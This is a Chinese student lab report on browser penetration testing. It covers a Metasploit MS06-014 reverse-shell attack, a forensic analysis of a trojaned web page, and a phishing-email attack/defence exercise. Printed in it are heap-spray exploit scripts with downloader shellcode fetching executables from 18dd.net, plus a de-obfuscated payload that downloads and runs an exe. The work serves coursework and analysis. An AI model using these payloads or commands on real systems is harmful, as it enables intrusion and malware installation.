第十一次 浏览器安全攻防实践
20212806 2021-2022-2 《网络攻防实践》实践十一报告
1.实践内容
1.1 Web安全介绍
什么是Web应用
Web应用是由动态脚本、编译过的代码等组合而成。它通常架设在Web服务器上,用户在Web浏览器上发送请求,这些请求使用HTTP协议,经过因特网和企业的Web应用交互,由Web应用和企业后台的数据库及其他动态内容通信。
Web应用的架构
尽管不同的企业会有不同的Web环境搭建方式,一个典型的Web应用通常是标准的三层架构模型。在这种最常见的模型中,客户端是第一层;使用动态Web内容技术的部分属于中间层;数据库是第三层。用户通过Web浏览器发送请求( request)给中间层,由中间层将用户的请求转换为对后台数据的查询或是更新,并将最终的结果在浏览器上展示给用户。
Web安全渗透测试标准
由于渗透测试是一个比较复杂的系统工程,目前有许多不同的测试标准,主要有国家标准、安全组织标准等。因为对于攻击者来说,他们的目的只是为了达到攻克系统,获得系统控制权的任务。而对于安全测试人员来说,他们的任务是制定一套测试流程,尽可能高效地测试网络的安全性,所以对于Web安全测试来说,需要在现有的安全标准与测试流程中,总结提炼出一套行之有效的Web安全渗透测试内容和方法。
Web安全渗透测试基本步骤
因为Web渗透测试是模拟黑客的行为,对Web系统进行安全性测试,所以首先分析下黑客攻击Web的基本步骤。Web攻击不是漫无目的的随意攻击,往往是有一定既定目标的攻击,这通常要经历以下5个步骤:
(1)信息收集
正所谓工欲善其事,必先利其器,Web攻击发生前,攻击者必定会对攻击目标进行细致的侦查工作,从而为后续的攻击做准备。对目标网络进行侦查之前,首先要收集汇总各种与目标系统有关的信息,形成对目标网络必要的轮廓认识,并为实施攻击做好准备。信息的收集可以通过以下几种方式进行:DNS域名服务,Finger服务,Whois服务,Nslookup,Ping与PathPing,Tracert等信息查询。
(2)扫描
通过信息收集掌握了目标网络的外部特征信息之后,可以对目标网络进行有针对性的扫描,扫描的最终结果决定了能否对目标网络进行攻击,任何扫描得到的漏洞信息,都可能成为突破网络的切入点,当然扫描得到的结果不一定就是可以直接利用的系统漏洞。
从利用方式来说,可以将信息分为两类:一类是安全敏感信息,这包括第一阶段收集到的信息,以及扫描阶段得到的关于端口开放以及操作系统类型信息,这些信息虽然不能直接用于对目标网络的渗透与攻击,但有助于全面了解目标网络的信息。另一类就是安全漏洞信息,这类安全漏洞可能是系统配置上的疏忽造成的(例如没有及时打补丁),也可能是操作系统或应用程序自身的缺陷,结果是都可能导致利用漏洞突破并控制目标网络。
探测类扫描主要有以下常用手段:
- 端口扫描、操作系统探测、应用服务探测、路由器探测、防火墙探测等。
- 漏洞发掘类扫描主要有:Web、CGI安全漏洞扫描, Windows、Unix、 Linux等操作系统漏洞扫描,SNMP漏泂扫描、SQL Server等数据库服务漏洞扫描,路由器、防火墙漏洞扫描。
- 扫描过程实际上已经与目标主机或网络发生物理链接,可以看作是程度较轻的攻击行为。扫描结果决定了攻击者的下一步行动。
- 扫描要达到的基本目标:
- 确定目标系统是否真实存在;
- 确定目标系统上都有哪些服务正在运行或监听;
- 探查操作系统版本。
- 网络攻击往往寻找最薄弱的地方作为突破口,所以黑客攻击时要尽可能寻找系统存在的漏洞,从而作为攻击的切入点。
(3) 攻击
通过信息收集和扫描阶段得到相关线索以后,经过分析和筹划,下一步就可以采取各种手段以实现直接的攻击目的。
从黑客攻击的目的来看,可以分为两种,一种是给目标以致命打击,使目标系统受损,甚至瘫痪,这好比是正面战场上的交锋,目的是致敌人于死地:另一种攻击则更加常见,其目的在于获取直接的利益,比如下载到目标系统的机密信息,或者是得到目标系统的最高控制权,过程中,攻击者无意对目标系统的正常能力进行破坏,他可能更希望非常隐蔽地实现自已的目的。
(4) 植入后门
在一次成功的攻击之后,为了以后的再次进入和控制目标主机,一般要放置一些后门程序,由于网络主机系统经常升级,这些原来被利用突破系统的漏洞在系统升级以后就可能被修补,而后门程序就可以不依赖于原来用于突破的漏洞,保持长期稳定的控制能力。
后门可能是一个隐藏的管理员账号、一个具有超级权限的服务进程,有时甚至是一个故意置入的系统漏洞。好的后门程序在保证最高的系统权限的同时,必须不易被目标用户察觉。许多木马程序、远程控制程序都可以作为后门程序植入,最新的一些后门采取可卸载内核模块(LKM)的办法,动态地修改系统内核,一般情况下无法检测出来。功能强大的后门程序,可以利用被控主机运行扫描、嗅探等技术突破整个网络。
(5) 消除痕迹
作为一次完整的Web攻击,黑客在取得需要的战果以后,就要打扫战场了,也就是消除痕迹。在信息收集、扫描、攻击阶段,即使采取了许多防护措施,也会留下直接或间接的攻击痕迹。攻击痕迹可能会在目标主机的管理员进行例行检查时暴露出来,进一步的安全检查则可能导致攻击行为的完全暴露,甚至发现植入的后门程序;攻击痕迹也可能被富有经验的安全调试员利用来反向跟踪到真正的攻击源头,同时,攻击痕迹是攻击技术和手段的直接反映。
消除痕迹是一项细心的工作,系统的审计日志、Web的访问记录、防火墙的监控攻击留下的残余线索都必须认真清理。对于一些必须留下的后门程序,需要采取进程隐藏文件隐藏、核心文件替换、程序加密等多种手段避免被发现。
从黑客攻击Web的方式可以看出,这其中主要经历了5个主要步骤:信息收集、扫描、攻击、植入后门、消除痕迹。
总结
Web渗透测试流程与黑客攻击的方法十分类似,主要的区别在于,Web渗透测试不会对系统进行破坏和窃取信息等违法行为。测试Web漏洞的核心思想是寻找Web程序中能够提交用户输入的地方。
因为Web安全渗透测试就是模拟黑客的攻击行为,对系统的安全性进行测试所以可以从漏洞攻击的角度对渗透测试的内容进行系统分析。发现最终Web遭受攻击源头,保障Web页面安全。
2.实践过程
(1)web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
实验步骤:
①选择使用Metasploit中的MS06-014渗透攻击模块
②选择PAYLOAD为任意远程Shell连接
③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
实验环境 | IP地址 |
---|---|
Kali(攻击机) | 192.168.37.132 |
Win2kServer(靶机) | 192.168.37.135 |
实践步骤:
- 在Kali虚拟机中使用
msfconsole
命令令打开metasploit工具,然后使用search MS06-014
命令查看漏洞的相关信息,使用命令use exploit/windows/browser/ie_createobject
选择漏洞,然后使用show payloads
命令查看可用负载。
- 设置payload为
set payload generic/shell_reverse_tcp
,设置攻击机地址:set lhost 192.168.37.132
,设置靶机地址:set rhost 192.168.37.135,然后执行run
命令
- 根据上步得到的
Local IP
,通过靶机的浏览器访问该地址,可以看到浏览器返回一串字符
- 此时我们返回观察攻击机Kali的状态,发现已经建立起了一个会话,则攻击成功
- 最后我们验证一下会话是否有效,首先使用命令
sessions -i 1
打开会话。然后执行命令ipconfig
,发现执行成功,因此sessions成功建立
(2)取证分析实践—网页木马攻击场景分析
实践过程:
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址。
②在进入htm后,每解密出一个文件地址,请对其作32位MD5散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
⑤重复以上过程直到这些文件被全部分析完成。
实践步骤:
- 打开网页挂马分析实践压缩包,里面包含了所要分析的程序和源代码
- 网站结构图
- 以记事本的方式打开new09.html文件,并记录以下两个网址
- 分别对
http://js.users.51.la/1299644.js
和http://aa.18dd.net/aa/kl.htm
进行MD5运算得出散列值分别为:23180a42a2ff1192150231b44ffdf3d3
、7f60672dcd6b5e90b6772545ee219bd3
- 分别找出以经MD5运算得到散列值命名的文件
- 重命名为以下形式
- 打开kl.html加密文件,并使用在线解密工具解密,经计算密钥为:
script
- 解密后的明文为
- 再对其进行hexdecode,得到:
- 对解密后的代码进行分析:
这些代码涉及到的网页有:http://aa.18dd.net/aa/1.js、http://aa.18dd.net/aa/b.js、http://aa.18dd.net/aa/pps.js、http://down.18dd.net/bb/bd.cab
对上述提到的网页求哈希值:
MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
*然后按照http://192.168.68.253/scom/hashed/MD5值的格式下载文件,得到1.js、b.js、pps.js、bd.cab这四个文件。分别依次对这些文件进行分析
1.js
- 其包含十六进制字符串,然后对其进行解码
- 发现这个文件会下载一个名为014.exe的可执行文件
b.js
- 利用UnPacker工具第一次解码得到了以下内容
提取其中的字符串
var bigblock=unescape("%u9090%u9090");
var headersize=20;
var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
var slackspace=headersize+shellcode.length;
while(bigblock.length<slackspace)bigblock+=bigblock;
fillblock=bigblock.substring(0,slackspace);
block=bigblock.substring(0,bigblock.length-slackspace);
while(block.length+slackspace<0x40000)block=block+block+fillblock;
memory=new Array();
for(x=0;x<300;x++)
memory[x]=block+shellcode;
var buffer='';
while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer)
我们可以看到关键字shellcode,根据参考文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为http://down.18dd.net/bb/bf.exe
得到一个可执行文件。
pps.js
- 这里采用了八进制加密方式,解密结果为
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0;
x<400;
x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
同上一个解密方法一样,可以得到可执行文件http://down.18dd.net/bb/pps.exe
- 接下来对以上得到的链接计算相应的MD5值:
URL | MD5 |
---|---|
http://down.18dd.net/bb/014.exe | ca4e4a1730b0f69a9b94393d9443b979 |
http://down.18dd.net/bb/bf.exe | 268cbd59fbed235f6cf6b41b92b03f8e |
http://down.18dd.net/bb/pps.exe | ff59b3b8961f502289c1b4df8c37e2a4 |
- 在资源中找到对应的文件,可以发现四个文件的大小相同
- 在kali中计算上述文件对应的md5值,发现结果一摸一样,那么可以推测四个文件的内容一摸一样
- 在IDA反汇编中打开四个文件中的一个
- 其中包含从各种URL下载各种木马
(3)攻防对抗实践—web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。
- 攻击方:Kali,防守方:WindowsXP,IP地址分别如下
- 接下来我们打开msfconsole并设置相关参数进行渗透攻击,具体的攻击过程如下:
- 开启攻击之后我们编写一封欺骗性电子邮件发送给目标靶机使用者,编写的电子邮件具体内容如下图所示:
- 其中,超链接地地址设置为开启攻击后攻击机所给出的地址
http://192.168.37.132:80/
发送之后,目标靶机使用者打开该电子邮件并点击邮件中所给出的超链接地址,结果如下图所示:
- 这时候查看攻击机终端中所接收到的信息发现建立了一个会话,我们使用命令
sessions+
会话序号打开该会话并使用ipconfig
命令进行测试,测试结果说明攻击成功,具体信息如下图所示:
- 此时回到靶机页面,点击鼠标右键,选中
view source
查看网页源代码:
- 发现语句之间隔了很多空格,然后我们在
http://www.esjson.com/htmlformat.html
网站中使用在线html格式化压缩工具进行压缩,结果如下
- 具体函数信息如下:
function FOZNSUqAVhL(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}
function DJXqZATTf(a){var s=FOZNSUqAVhL(a,"WScript.Shell");var o=FOZNSUqAVhL(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\EONVFedsZYIKzToBkkd.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}
function LzcycrnCHeqNYnWQOikD(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=FOZNSUqAVhL(a,"WScript.Shell");if(b){DJXqZATTf(a);return(0)}}catch(e){}}i++}}
- 其中还包括着一个可执行文件的相关操作:
EONVFedsZYIKzToBkkd.exe
经查询相关资料得上述这些信息正好是MS06-014
漏洞的相关信息。
3.学习中遇到的问题及解决
- 问题1:在使用
sessions -i 1
打开会话时失败,发现会话早已提前关闭。 - 问题1解决方案:将
set payload windows/meterpreter/reverse_tcp
命令替换成set payload generic/shell_reverse_tcp
,如下图所示,则会话不会关闭。
4.实践总结
本周实践主要学习了web浏览器渗透攻击,网页木马攻击场景分析以及攻防对抗实践等,通过以上学习进一步加深了自己对网络安全知识的理解,其中遇到了一些小困难,但通过查看相关资料,均已解决了以上问题,在今后的学习中需要进一步加强基础知识的学习,这样才能学好网络攻防这门课。